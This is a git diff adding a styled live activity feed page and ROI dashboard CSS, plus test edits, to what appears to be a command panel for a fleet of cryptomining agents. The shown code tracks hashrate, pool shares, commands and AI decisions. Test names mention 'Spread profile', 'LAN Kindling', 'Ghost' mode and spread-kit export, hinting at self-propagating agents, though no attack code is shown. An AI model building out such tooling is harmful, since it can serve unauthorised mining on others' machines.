@@ -0,0 +1,411 @@ +/* ── Live Activity Feed ──────────────────────────────────────────────────── */ + +.activity-page { + max-width: 1400px; + margin: 0 auto; + padding-bottom: 4rem; +} + +/* ── Hero ────────────────────────────────────────────────────────────────── */ + +.activity-hero { + display: flex; + align-items: flex-end; + justify-content: space-between; + flex-wrap: wrap; + gap: 1rem; + margin-bottom: 1.75rem; +} + +.activity-hero-text .activity-eyebrow { + font-size: 0.7rem; + letter-spacing: 0.18em; + color: #00e8f5; + margin: 0 0 0.25rem; + font-family: 'Share Tech Mono', monospace; +} + +.activity-hero-text h1 { + font-size: 2rem; + font-weight: 800; + margin: 0 0 0.3rem; + background: linear-gradient(135deg, #00e8f5 0%, #b24bf3 60%, #ff2da6 100%); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + background-clip: text; + line-height: 1.1; +} + +.activity-hero-text .page-subtitle { + color: var(--text-muted); + font-size: 0.82rem; + margin: 0; +} + +/* Live indicator */ +.activity-live-badge { + display: flex; + align-items: center; + gap: 0.45rem; + padding: 0.4rem 0.9rem; + background: rgba(57, 255, 20, 0.08); + border: 1px solid rgba(57, 255, 20, 0.3); + border-radius: 20px; + font-family: 'Share Tech Mono', monospace; + font-size: 0.68rem; + letter-spacing: 0.1em; + color: #39ff14; +} + +.activity-live-dot { + width: 7px; + height: 7px; + border-radius: 50%; + background: #39ff14; + box-shadow: 0 0 6px #39ff14; + animation: act-blink 1.5s ease-in-out infinite; +} + +.activity-live-dot.offline { + background: #ff4444; + box-shadow: 0 0 6px #ff4444; + animation: none; +} + +@keyframes act-blink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.3; } +} + +/* ── Filter bar ──────────────────────────────────────────────────────────── */ + +.activity-filters { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 0.5rem; + margin-bottom: 1rem; +} + +.activity-filter-label { + font-size: 0.62rem; + letter-spacing: 0.1em; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; + margin-right: 0.25rem; +} + +.activity-type-chip { + padding: 0.22rem 0.6rem; + border-radius: 16px; + font-size: 0.6rem; + letter-spacing: 0.08em; + font-family: 'Share Tech Mono', monospace; + border: 1px solid rgba(255,255,255,0.12); + background: rgba(255,255,255,0.04); + color: var(--text-muted); + cursor: pointer; + transition: all 0.15s; + user-select: none; +} + +.activity-type-chip:hover { + border-color: rgba(255,255,255,0.25); + color: #c8d8e8; +} + +.activity-type-chip.active--connect { background: rgba(57,255,20,0.15); color: #39ff14; border-color: rgba(57,255,20,0.4); } +.activity-type-chip.active--disconnect { background: rgba(255,68,68,0.12); color: #ff6b6b; border-color: rgba(255,68,68,0.35); } +.activity-type-chip.active--hashrate { background: rgba(0,232,245,0.12); color: #00e8f5; border-color: rgba(0,232,245,0.35); } +.activity-type-chip.active--share { background: rgba(178,75,243,0.12); color: #b24bf3; border-color: rgba(178,75,243,0.35); } +.activity-type-chip.active--alert { background: rgba(255,107,53,0.12); color: #ff6b35; border-color: rgba(255,107,53,0.35); } +.activity-type-chip.active--command { background: rgba(255,176,32,0.12); color: #ffb020; border-color: rgba(255,176,32,0.35); } +.activity-type-chip.active--ai { background: rgba(255,45,166,0.12); color: #ff2da6; border-color: rgba(255,45,166,0.35); } +.activity-type-chip.active--posture { background: rgba(57,255,20,0.12); color: #39ff14; border-color: rgba(57,255,20,0.35); } + +/* Search input */ +.activity-search { + margin-left: auto; + padding: 0.28rem 0.65rem; + background: rgba(255,255,255,0.05); + border: 1px solid rgba(255,255,255,0.12); + border-radius: 6px; + color: #c8d8e8; + font-family: 'Share Tech Mono', monospace; + font-size: 0.72rem; + outline: none; + min-width: 160px; + transition: border-color 0.15s; +} + +.activity-search:focus { + border-color: rgba(0,232,245,0.4); +} + +.activity-search::placeholder { + color: var(--text-muted); +} + +.activity-clear-btn { + padding: 0.22rem 0.6rem; + background: none; + border: 1px solid rgba(255,255,255,0.1); + border-radius: 6px; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; + font-size: 0.6rem; + cursor: pointer; + transition: all 0.15s; +} + +.activity-clear-btn:hover { + border-color: rgba(255,107,53,0.4); + color: #ff6b35; +} + +/* ── Event stream ────────────────────────────────────────────────────────── */ + +.activity-stream-wrap { + background: rgba(0,0,0,0.45); + border: 1px solid rgba(255,255,255,0.07); + border-radius: 14px; + overflow: hidden; +} + +.activity-stream-header { + display: flex; + align-items: center; + gap: 0.75rem; + padding: 0.75rem 1.1rem; + border-bottom: 1px solid rgba(255,255,255,0.06); + background: rgba(0,0,0,0.2); + font-family: 'Share Tech Mono', monospace; + font-size: 0.62rem; + letter-spacing: 0.1em; + color: var(--text-muted); +} + +.activity-stream-count { + margin-left: auto; + color: #00e8f5; +} + +.activity-stream { + max-height: 70vh; + overflow-y: auto; + scrollbar-width: thin; + scrollbar-color: rgba(0,232,245,0.15) transparent; +} + +.activity-stream::-webkit-scrollbar { width: 4px; } +.activity-stream::-webkit-scrollbar-track { background: transparent; } +.activity-stream::-webkit-scrollbar-thumb { background: rgba(0,232,245,0.15); border-radius: 2px; } + +/* ── Event row ───────────────────────────────────────────────────────────── */ + +.activity-event { + display: flex; + align-items: flex-start; + gap: 0.75rem; + padding: 0.55rem 1.1rem; + border-bottom: 1px solid rgba(255,255,255,0.03); + transition: background 0.1s; + animation: act-enter 0.25s ease-out; +} + +@keyframes act-enter { + from { opacity: 0; transform: translateX(-8px); } + to { opacity: 1; transform: translateX(0); } +} + +.activity-event:hover { + background: rgba(255,255,255,0.02); +} + +.activity-event:last-child { + border-bottom: none; +} + +/* Event type accent bar */ +.activity-event-accent { + width: 3px; + align-self: stretch; + border-radius: 2px; + flex-shrink: 0; + min-height: 16px; +} + +.accent--connect { background: #39ff14; box-shadow: 0 0 4px #39ff14; } +.accent--disconnect { background: #ff4444; } +.accent--hashrate { background: #00e8f5; } +.accent--share { background: #b24bf3; } +.accent--alert { background: #ff6b35; } +.accent--command { background: #ffb020; } +.accent--ai { background: #ff2da6; } +.accent--posture { background: #39ff14; } +.accent--default { background: rgba(255,255,255,0.2); } + +/* Event icon */ +.activity-event-icon { + font-size: 1rem; + flex-shrink: 0; + margin-top: 0.05rem; + width: 18px; + text-align: center; +} + +/* Event body */ +.activity-event-body { + flex: 1; + min-width: 0; +} + +.activity-event-main { + display: flex; + align-items: baseline; + gap: 0.5rem; + flex-wrap: wrap; + line-height: 1.35; +} + +.activity-event-type-badge { + font-size: 0.55rem; + letter-spacing: 0.1em; + font-family: 'Share Tech Mono', monospace; + padding: 0.07rem 0.35rem; + border-radius: 3px; + text-transform: uppercase; + flex-shrink: 0; +} + +.badge--connect { background: rgba(57,255,20,0.15); color: #39ff14; } +.badge--disconnect { background: rgba(255,68,68,0.15); color: #ff6b6b; } +.badge--hashrate { background: rgba(0,232,245,0.12); color: #00e8f5; } +.badge--share { background: rgba(178,75,243,0.12); color: #b24bf3; } +.badge--alert { background: rgba(255,107,53,0.15); color: #ff6b35; } +.badge--command { background: rgba(255,176,32,0.12); color: #ffb020; } +.badge--ai { background: rgba(255,45,166,0.12); color: #ff2da6; } +.badge--posture { background: rgba(57,255,20,0.1); color: #a8ff78; } +.badge--default { background: rgba(255,255,255,0.06); color: #8899aa; } + +.activity-event-agent { + font-weight: 600; + color: #c8d8e8; + font-size: 0.78rem; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + max-width: 150px; +} + +.activity-event-msg { + color: var(--text-muted); + font-size: 0.74rem; + flex: 1; +} + +.activity-event-detail { + font-size: 0.65rem; + color: var(--text-muted); + margin-top: 0.15rem; + font-family: 'Share Tech Mono', monospace; + opacity: 0.8; +} + +.activity-event-ts { + font-family: 'Share Tech Mono', monospace; + font-size: 0.62rem; + color: var(--text-muted); + flex-shrink: 0; + margin-top: 0.1rem; + opacity: 0.6; +} + +/* ── Empty state ─────────────────────────────────────────────────────────── */ + +.activity-empty { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + padding: 4rem 1rem; + gap: 0.75rem; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; + font-size: 0.75rem; +} + +.activity-empty-icon { + font-size: 2.5rem; + opacity: 0.3; +} + +/* ── Stat pills row ──────────────────────────────────────────────────────── */ + +.activity-stat-pills { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + margin-bottom: 1rem; +} + +.activity-stat-pill { + padding: 0.3rem 0.75rem; + border-radius: 20px; + font-family: 'Share Tech Mono', monospace; + font-size: 0.65rem; + letter-spacing: 0.06em; + border: 1px solid rgba(255,255,255,0.08); + background: rgba(255,255,255,0.03); + display: flex; + align-items: center; + gap: 0.35rem; +} + +.activity-stat-pill-dot { + width: 6px; + height: 6px; + border-radius: 50%; +} + +/* ── Ticker strip (compact, full-width) ──────────────────────────────────── */ + +.activity-ticker-strip { + width: 100%; + overflow: hidden; + background: rgba(0,0,0,0.35); + border: 1px solid rgba(255,255,255,0.06); + border-radius: 8px; + padding: 0.45rem 0; + margin-bottom: 1.5rem; + position: relative; +} + +.activity-ticker-inner { + display: flex; + gap: 2.5rem; + padding: 0 1rem; + overflow-x: auto; + scrollbar-width: none; +} + +.activity-ticker-inner::-webkit-scrollbar { display: none; } + +.activity-ticker-item { + display: flex; + align-items: center; + gap: 0.4rem; + font-family: 'Share Tech Mono', monospace; + font-size: 0.65rem; + white-space: nowrap; + flex-shrink: 0; + color: #c8d8e8; + opacity: 0.8; +} + +.activity-ticker-item .act-dot { + width: 5px; + height: 5px; + border-radius: 50%; + flex-shrink: 0; +} diff --git a/server/web/src/pages/ActivityFeedPage.tsx b/server/web/src/pages/ActivityFeedPage.tsx new file mode 100644 index 0000000..f288096 --- /dev/null +++ b/server/web/src/pages/ActivityFeedPage.tsx @@ -0,0 +1,428 @@ +import { useState, useEffect, useRef, useMemo, useCallback } from 'react'; +import { useWebSocket } from '../hooks/useWebSocket'; +import { formatHashrate } from '../help/fleetFilters'; +import './ActivityFeedPage.css'; + +// ── Event types ─────────────────────────────────────────────────────────── + +export type ActivityEventKind = + | 'connect' + | 'disconnect' + | 'hashrate' + | 'share' + | 'alert' + | 'command' + | 'ai' + | 'posture' + | 'default'; + +export interface ActivityEvent { + id: string; + kind: ActivityEventKind; + agentId?: string; + agentName?: string; + message: string; + detail?: string; + ts: Date; + raw?: unknown; +} + +let _eid = 0; +function eid() { return String(++_eid); } + +// ── Visual config per kind ──────────────────────────────────────────────── + +const KIND_CONFIG: Record = { + connect: { icon: '🟢', label: 'ONLINE', color: '#39ff14' }, + disconnect: { icon: '🔴', label: 'OFFLINE', color: '#ff4444' }, + hashrate: { icon: '⚡', label: 'HASHRATE', color: '#00e8f5' }, + share: { icon: '✅', label: 'SHARE', color: '#b24bf3' }, + alert: { icon: '⚠️', label: 'ALERT', color: '#ff6b35' }, + command: { icon: '📡', label: 'COMMAND', color: '#ffb020' }, + ai: { icon: '🤖', label: 'AI', color: '#ff2da6' }, + posture: { icon: '🛡️', label: 'POSTURE', color: '#a8ff78' }, + default: { icon: '·', label: 'EVENT', color: '#8899aa' }, +}; + +const ALL_KINDS = Object.keys(KIND_CONFIG) as ActivityEventKind[]; +const MAX_EVENTS = 500; + +function fmt(d: Date): string { + return d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' }); +} + +// ── Event row ───────────────────────────────────────────────────────────── + +function EventRow({ event }: { event: ActivityEvent }) { + const cfg = KIND_CONFIG[event.kind]; + return ( +
+
+ {cfg.icon} +
+
+ {cfg.label} + {event.agentName && ( + + {event.agentName} + + )} + {event.message} +
+ {event.detail && ( +
{event.detail}
+ )} +
+ {fmt(event.ts)} +
+ ); +} + +// ── Main page ───────────────────────────────────────────────────────────── + +export default function ActivityFeedPage() { + const { + isConnected, + agents, + recentShares, + fleetAlerts, + commandResults, + aiActivity, + latestMessage, + } = useWebSocket(); + + const [events, setEvents] = useState([]); + const [activeFilters, setActiveFilters] = useState>(new Set(ALL_KINDS)); + const [search, setSearch] = useState(''); + const [autoScroll, setAutoScroll] = useState(true); + const streamRef = useRef(null); + const agentMapRef = useRef>(new Map()); // id → name + const prevAgentStatus = useRef>({}); // id → status + const prevHashrates = useRef>({}); // id → hashrate_15m + const prevPosture = useRef>({}); // id → posture_score + + // Build agent name lookup + useEffect(() => { + for (const a of agents) agentMapRef.current.set(a.id, a.name); + }, [agents]); + + const push = useCallback((ev: ActivityEvent) => { + setEvents((prev) => [ev, ...prev].slice(0, MAX_EVENTS)); + }, []); + + // ── Agent status change events (online / offline) ────────────────────── + useEffect(() => { + for (const agent of agents) { + const prev = prevAgentStatus.current[agent.id]; + if (prev === undefined) { + // First time we see this agent — synthetic "connect" on page load + prevAgentStatus.current[agent.id] = agent.status; + if (agent.status === 'online') { + push({ + id: eid(), kind: 'connect', + agentId: agent.id, agentName: agent.name, + message: 'came online', + detail: `${agent.platform ?? 'unknown'} · ${agent.ip ?? '—'} · ${agent.cpu_cores}c`, + ts: new Date(), + }); + } + continue; + } + if (prev !== agent.status) { + prevAgentStatus.current[agent.id] = agent.status; + if (agent.status === 'online') { + push({ + id: eid(), kind: 'connect', + agentId: agent.id, agentName: agent.name, + message: 'reconnected', + detail: `${agent.platform ?? ''} · ${agent.ip ?? '—'}`, + ts: new Date(), + }); + } else { + push({ + id: eid(), kind: 'disconnect', + agentId: agent.id, agentName: agent.name, + message: 'went offline', + ts: new Date(), + }); + } + } + } + }, [agents, push]); + + // ── Hashrate spike events ────────────────────────────────────────────── + useEffect(() => { + for (const agent of agents) { + if (agent.status !== 'online') continue; + const prev = prevHashrates.current[agent.id]; + const cur = agent.hashrate_15m ?? 0; + prevHashrates.current[agent.id] = cur; + if (prev === undefined || prev <= 0) continue; + const delta = cur - prev; + // Only emit if ≥20% change AND at least 100 H/s delta + if (Math.abs(delta) >= 100 && Math.abs(delta) / Math.max(prev, 1) >= 0.20) { + push({ + id: eid(), kind: 'hashrate', + agentId: agent.id, agentName: agent.name, + message: delta > 0 ? `hashrate up to ${formatHashrate(cur)}` : `hashrate dropped to ${formatHashrate(cur)}`, + detail: `Δ${delta > 0 ? '+' : ''}${formatHashrate(delta)}`, + ts: new Date(), + }); + } + } + }, [agents, push]); + + // ── Posture score change events ──────────────────────────────────────── + useEffect(() => { + for (const agent of agents) { + if (agent.posture_score == null) continue; + const prev = prevPosture.current[agent.id]; + const cur = agent.posture_score; + prevPosture.current[agent.id] = cur; + if (prev === undefined) continue; + const delta = cur - prev; + if (Math.abs(delta) >= 10) { + push({ + id: eid(), kind: 'posture', + agentId: agent.id, agentName: agent.name, + message: `posture score ${delta > 0 ? 'improved' : 'degraded'} to ${cur}/100`, + detail: `Δ${delta > 0 ? '+' : ''}${delta}`, + ts: new Date(), + }); + } + } + }, [agents, push]); + + // ── New share events ─────────────────────────────────────────────────── + const lastShareId = useRef(null); + useEffect(() => { + if (recentShares.length === 0) return; + const top = recentShares[0]; + const key = top.id != null ? String(top.id) : `${top.agent_id}-${top.hash}`; + if (key === lastShareId.current) return; + lastShareId.current = key; + const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8); + push({ + id: eid(), kind: 'share', + agentId: top.agent_id, agentName: name, + message: top.accepted ? 'share accepted by pool' : 'share rejected', + detail: top.accepted ? undefined : top.error ?? 'pool rejection', + ts: new Date(top.timestamp ?? Date.now()), + }); + }, [recentShares, push]); + + // ── Fleet alert events ───────────────────────────────────────────────── + const lastAlertId = useRef(null); + useEffect(() => { + if (fleetAlerts.length === 0) return; + const top = fleetAlerts[0]; + if (top.id === lastAlertId.current) return; + lastAlertId.current = top.id; + push({ + id: eid(), kind: 'alert', + agentId: top.agent_id, agentName: top.agent_name, + message: top.message, + detail: top.type, + ts: new Date(top.timestamp ?? Date.now()), + }); + }, [fleetAlerts, push]); + + // ── Command result events ────────────────────────────────────────────── + const lastCmdSeq = useRef(-1); + useEffect(() => { + if (commandResults.length === 0) return; + const top = commandResults[commandResults.length - 1]; + if ((top._seq ?? -1) <= lastCmdSeq.current) return; + lastCmdSeq.current = top._seq ?? -1; + const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8); + push({ + id: eid(), kind: 'command', + agentId: top.agent_id, agentName: name, + message: `${top.action} → ${top.success ? 'success' : 'failed'}`, + detail: top.success ? undefined : top.message?.slice(0, 80), + ts: new Date(), + }); + }, [commandResults, push]); + + // ── AI activity events ───────────────────────────────────────────────── + const lastAiAgent = useRef>({}); + useEffect(() => { + for (const entry of aiActivity) { + const lastAction = lastAiAgent.current[entry.agent_id]; + if (entry.last_action && entry.last_action !== lastAction) { + lastAiAgent.current[entry.agent_id] = entry.last_action; + const name = agentMapRef.current.get(entry.agent_id) ?? entry.agent_id?.slice(0, 8); + push({ + id: eid(), kind: 'ai', + agentId: entry.agent_id, agentName: name, + message: `AI decided: ${entry.last_action}`, + detail: entry.last_reasoning?.slice(0, 80), + ts: entry.last_decide_at ? new Date(entry.last_decide_at) : new Date(), + }); + } + } + }, [aiActivity, push]); + + // ── Auto-scroll ──────────────────────────────────────────────────────── + useEffect(() => { + if (!autoScroll || !streamRef.current) return; + streamRef.current.scrollTop = 0; // newest is at top + }, [events, autoScroll]); + + // ── Filtered view ────────────────────────────────────────────────────── + const filtered = useMemo(() => { + let list = events.filter((e) => activeFilters.has(e.kind)); + if (search.trim()) { + const q = search.trim().toLowerCase(); + list = list.filter((e) => + (e.agentName ?? '').toLowerCase().includes(q) || + e.message.toLowerCase().includes(q) || + (e.detail ?? '').toLowerCase().includes(q) + ); + } + return list; + }, [events, activeFilters, search]); + + // ── Stats for pills ──────────────────────────────────────────────────── + const onlineCount = agents.filter((a) => a.status === 'online').length; + const totalHashrate = agents.reduce((s, a) => s + (a.hashrate_15m ?? 0), 0); + const alertCount = fleetAlerts.length; + + const toggleFilter = (kind: ActivityEventKind) => { + setActiveFilters((prev) => { + const next = new Set(prev); + if (next.has(kind)) { next.delete(kind); } else { next.add(kind); } + if (next.size === 0) return new Set(ALL_KINDS); // prevent empty + return next; + }); + }; + + const countByKind = useMemo(() => { + const m: Record = {}; + for (const e of events) m[e.kind] = (m[e.kind] ?? 0) + 1; + return m; + }, [events]); + + return ( +
+ + {/* ── Hero ─────────────────────────────────────────────────────────── */} +
+
+

REAL-TIME INTELLIGENCE

+

Activity Feed

+

+ Live event stream · agent connects · hashrate · shares · commands · AI decisions +

+
+
+
+ {isConnected ? 'LIVE' : 'DISCONNECTED'} + {isConnected && · {events.length} events} +
+
+ + {/* ── Stats pills ──────────────────────────────────────────────────── */} +
+
+
+ {onlineCount} / {agents.length} online +
+ {totalHashrate > 0 && ( +
+
+ {formatHashrate(totalHashrate)} +
+ )} + {alertCount > 0 && ( +
+
+ {alertCount} alert{alertCount !== 1 ? 's' : ''} +
+ )} +
+ setAutoScroll(e.target.checked)} + style={{ cursor: 'pointer', accentColor: '#00e8f5' }} + /> + +
+
+ + {/* ── Filter bar ───────────────────────────────────────────────────── */} +
+ FILTER: + {ALL_KINDS.map((kind) => { + const cfg = KIND_CONFIG[kind]; + const isActive = activeFilters.has(kind); + const count = countByKind[kind] ?? 0; + return ( + + ); + })} + setSearch(e.target.value)} + /> + {(events.length > 0 || search) && ( + + )} +
+ + {/* ── Event stream ─────────────────────────────────────────────────── */} +
+
+ ◆ LIVE EVENT STREAM + sorted by most recent + + {filtered.length} events{search ? ' matching' : ''} + +
+ +
{ + // Disable auto-scroll when user scrolls away from top + const el = e.currentTarget; + setAutoScroll(el.scrollTop < 60); + }} + > + {filtered.length === 0 ? ( +
+ 📡 + {events.length === 0 + ? 'Waiting for fleet events…' + : 'No events match your filters.'} +
+ ) : ( + filtered.map((ev) => ) + )} +
+
+
+ ); +} diff --git a/server/web/src/pages/MissionDeckPage.test.tsx b/server/web/src/pages/MissionDeckPage.test.tsx index 141ccf5..a410111 100644 --- a/server/web/src/pages/MissionDeckPage.test.tsx +++ b/server/web/src/pages/MissionDeckPage.test.tsx @@ -60,12 +60,12 @@ describe('MissionDeckPage', () => { expect(screen.getByText('Loading loadout defaults…')).toBeInTheDocument(); expect(await screen.findByRole('heading', { level: 1, name: /Mission Deck/i })).toBeInTheDocument(); expect(screen.getByText('FAST PATH')).toBeInTheDocument(); - expect(screen.getByText(/Pick a preset loadout/i)).toBeInTheDocument(); + expect(await screen.findByText(/Pick a preset loadout/i)).toBeInTheDocument(); }); it('renders Ghost / Loud / Spread mode chips in loadout layout', async () => { renderMissionDeck(); - await screen.findByRole('heading', { level: 1, name: 'Mission Deck' }); + await screen.findByRole('region', { name: 'Mission loadout' }); expect(screen.getByRole('region', { name: 'Mission loadout' })).toBeInTheDocument(); const loadout = screen.getByRole('region', { name: 'Mission loadout' }); expect(loadout).toHaveTextContent('Ghost'); @@ -76,7 +76,7 @@ describe('MissionDeckPage', () => { it('shows spread profile chips and campaign slug on the right panel', async () => { renderMissionDeck(); - await screen.findByRole('heading', { level: 1, name: 'Mission Deck' }); + await screen.findByRole('region', { name: 'Mission loadout' }); expect(screen.getByRole('heading', { level: 3, name: /Spread profile/i })).toBeInTheDocument(); expect(screen.getByRole('button', { name: 'LAN Kindling' })).toBeInTheDocument(); expect(screen.getByLabelText(/Campaign slug/i)).toBeInTheDocument(); @@ -84,7 +84,7 @@ describe('MissionDeckPage', () => { it('links to Forge, Emberwake, Builds, and field guide', async () => { renderMissionDeck(); - await screen.findByRole('heading', { level: 1, name: /Mission Deck/i }); + await screen.findByRole('region', { name: 'Mission loadout' }); expect(screen.getAllByRole('link', { name: /^Forge$/i }).length).toBeGreaterThan(0); expect(screen.getAllByRole('link', { name: /^Emberwake$/i }).length).toBeGreaterThan(0); expect(screen.getAllByRole('link', { name: /^Builds$/i }).length).toBeGreaterThan(0); @@ -97,7 +97,7 @@ describe('MissionDeckPage', () => { const buildSpy = vi.spyOn(api, 'buildAgent'); const exportSpy = vi.spyOn(api, 'exportSpreadKit'); renderMissionDeck(); - await screen.findByRole('heading', { level: 1, name: 'Mission Deck' }); + await screen.findByRole('region', { name: 'Mission loadout' }); await user.click(screen.getByRole('button', { name: 'LAN Kindling' })); await user.click(screen.getByRole('button', { name: /Equip & Strike/i })); await waitFor(() => { diff --git a/server/web/src/pages/ROIPage.css b/server/web/src/pages/ROIPage.css new file mode 100644 index 0000000..0ad24fd --- /dev/null +++ b/server/web/src/pages/ROIPage.css @@ -0,0 +1,567 @@ +/* ── ROI Intelligence Dashboard ──────────────────────────────────────────── */ + +.roi-page { + max-width: 1400px; + margin: 0 auto; + padding-bottom: 4rem; +} + +/* ── Hero header ─────────────────────────────────────────────────────────── */ + +.roi-hero { + display: flex; + align-items: flex-end; + justify-content: space-between; + flex-wrap: wrap; + gap: 1rem; + margin-bottom: 2rem; +} + +.roi-hero-text p.roi-eyebrow { + font-size: 0.7rem; + letter-spacing: 0.18em; + color: var(--neon-amber, #ffb020); + margin: 0 0 0.25rem; + font-family: 'Share Tech Mono', monospace; +} + +.roi-hero-text h1 { + font-size: 2rem; + font-weight: 800; + margin: 0 0 0.3rem; + background: linear-gradient(135deg, #ffb020 0%, #ff6b35 60%, #ff2da6 100%); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + background-clip: text; + line-height: 1.1; +} + +.roi-hero-text .page-subtitle { + color: var(--text-muted); + font-size: 0.82rem; + margin: 0; +} + +.roi-price-ticker { + display: flex; + align-items: center; + gap: 0.5rem; + padding: 0.5rem 1rem; + background: rgba(255, 176, 32, 0.08); + border: 1px solid rgba(255, 176, 32, 0.3); + border-radius: 8px; + font-family: 'Share Tech Mono', monospace; + font-size: 0.85rem; +} + +.roi-price-symbol { + color: #ffb020; + font-weight: 700; + font-size: 1rem; +} + +.roi-price-usd { + color: #fff; + font-size: 1.1rem; + font-weight: 700; +} + +.roi-price-label { + color: var(--text-muted); + font-size: 0.65rem; + letter-spacing: 0.08em; +} + +.roi-price-dot { + width: 7px; + height: 7px; + border-radius: 50%; + background: #39ff14; + box-shadow: 0 0 6px #39ff14; + animation: roi-blink 2s ease-in-out infinite; +} + +@keyframes roi-blink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.35; } +} + +/* ── Summary KPI row ─────────────────────────────────────────────────────── */ + +.roi-kpi-row { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); + gap: 1rem; + margin-bottom: 1.5rem; +} + +.roi-kpi-card { + background: rgba(0, 0, 0, 0.35); + border: 1px solid rgba(255, 255, 255, 0.07); + border-radius: 12px; + padding: 1.1rem 1.25rem; + position: relative; + overflow: hidden; + transition: border-color 0.2s, transform 0.2s; +} + +.roi-kpi-card:hover { + transform: translateY(-2px); + border-color: rgba(255, 255, 255, 0.14); +} + +.roi-kpi-card::before { + content: ''; + position: absolute; + inset: 0; + opacity: 0.04; + pointer-events: none; +} + +.roi-kpi-card.amber::before { background: #ffb020; } +.roi-kpi-card.green::before { background: #39ff14; } +.roi-kpi-card.cyan::before { background: #00e8f5; } +.roi-kpi-card.magenta::before{ background: #ff2da6; } +.roi-kpi-card.violet::before { background: #b24bf3; } +.roi-kpi-card.orange::before { background: #ff6b35; } + +.roi-kpi-accent { + position: absolute; + top: 0; left: 0; + width: 3px; height: 100%; + border-radius: 12px 0 0 12px; +} + +.roi-kpi-card.amber .roi-kpi-accent { background: #ffb020; box-shadow: 0 0 8px #ffb020; } +.roi-kpi-card.green .roi-kpi-accent { background: #39ff14; box-shadow: 0 0 8px #39ff14; } +.roi-kpi-card.cyan .roi-kpi-accent { background: #00e8f5; box-shadow: 0 0 8px #00e8f5; } +.roi-kpi-card.magenta .roi-kpi-accent { background: #ff2da6; box-shadow: 0 0 8px #ff2da6; } +.roi-kpi-card.violet .roi-kpi-accent { background: #b24bf3; box-shadow: 0 0 8px #b24bf3; } +.roi-kpi-card.orange .roi-kpi-accent { background: #ff6b35; box-shadow: 0 0 8px #ff6b35; } + +.roi-kpi-label { + font-size: 0.62rem; + letter-spacing: 0.12em; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; + margin-bottom: 0.4rem; + padding-left: 0.5rem; +} + +.roi-kpi-value { + font-size: 1.55rem; + font-weight: 800; + line-height: 1.1; + padding-left: 0.5rem; +} + +.roi-kpi-card.amber .roi-kpi-value { color: #ffb020; } +.roi-kpi-card.green .roi-kpi-value { color: #39ff14; } +.roi-kpi-card.cyan .roi-kpi-value { color: #00e8f5; } +.roi-kpi-card.magenta .roi-kpi-value { color: #ff2da6; } +.roi-kpi-card.violet .roi-kpi-value { color: #b24bf3; } +.roi-kpi-card.orange .roi-kpi-value { color: #ff6b35; } + +.roi-kpi-sub { + font-size: 0.65rem; + color: var(--text-muted); + padding-left: 0.5rem; + margin-top: 0.2rem; +} + +/* ── Two-column main layout ─────────────────────────────────────────────── */ + +.roi-grid { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 1.25rem; + margin-bottom: 1.25rem; +} + +@media (max-width: 900px) { + .roi-grid { grid-template-columns: 1fr; } +} + +.roi-grid--3 { + grid-template-columns: 1fr 1fr 1fr; +} + +@media (max-width: 1100px) { + .roi-grid--3 { grid-template-columns: 1fr 1fr; } +} + +@media (max-width: 720px) { + .roi-grid--3 { grid-template-columns: 1fr; } +} + +/* ── Section card ─────────────────────────────────────────────────────────── */ + +.roi-section { + background: rgba(0, 0, 0, 0.3); + border: 1px solid rgba(255, 255, 255, 0.07); + border-radius: 14px; + padding: 1.25rem 1.4rem; + position: relative; + overflow: hidden; +} + +.roi-section-title { + font-size: 0.68rem; + letter-spacing: 0.14em; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; + margin-bottom: 1rem; + display: flex; + align-items: center; + gap: 0.5rem; +} + +.roi-section-ornament { + color: #ffb020; + font-size: 0.6rem; +} + +/* ── Node profitability table ─────────────────────────────────────────────── */ + +.roi-node-table { + width: 100%; + border-collapse: collapse; + font-size: 0.75rem; +} + +.roi-node-table th { + text-align: left; + font-size: 0.6rem; + letter-spacing: 0.1em; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; + padding: 0.3rem 0.5rem; + border-bottom: 1px solid rgba(255,255,255,0.06); +} + +.roi-node-table td { + padding: 0.45rem 0.5rem; + border-bottom: 1px solid rgba(255,255,255,0.04); + vertical-align: middle; +} + +.roi-node-table tr:last-child td { border-bottom: none; } + +.roi-node-table tr:hover td { + background: rgba(255,255,255,0.02); +} + +.roi-node-rank { + font-family: 'Share Tech Mono', monospace; + color: var(--text-muted); + font-size: 0.6rem; + width: 28px; +} + +.roi-node-name { + font-weight: 600; + max-width: 110px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.roi-node-platform { + font-size: 0.75rem; + margin-right: 0.3rem; +} + +.roi-node-hr { + font-family: 'Share Tech Mono', monospace; + color: #00e8f5; + font-size: 0.72rem; +} + +.roi-node-usd { + font-family: 'Share Tech Mono', monospace; + font-weight: 700; + color: #39ff14; +} + +.roi-node-eff { + font-size: 0.65rem; +} + +.roi-node-bar-wrap { + width: 60px; +} + +.roi-node-bar-track { + height: 4px; + background: rgba(255,255,255,0.08); + border-radius: 2px; + overflow: hidden; +} + +.roi-node-bar-fill { + height: 100%; + border-radius: 2px; + background: linear-gradient(90deg, #ffb020, #ff6b35); + transition: width 0.5s ease; +} + +.roi-node-offline { + opacity: 0.35; +} + +/* ── Earnings projection panel ─────────────────────────────────────────────── */ + +.roi-projection-grid { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 0.75rem; +} + +.roi-proj-item { + background: rgba(255,255,255,0.03); + border: 1px solid rgba(255,255,255,0.06); + border-radius: 8px; + padding: 0.75rem 0.9rem; +} + +.roi-proj-label { + font-size: 0.58rem; + letter-spacing: 0.1em; + color: var(--text-muted); + font-family: 'Share Tech Mono', monospace; + margin-bottom: 0.3rem; +} + +.roi-proj-value { + 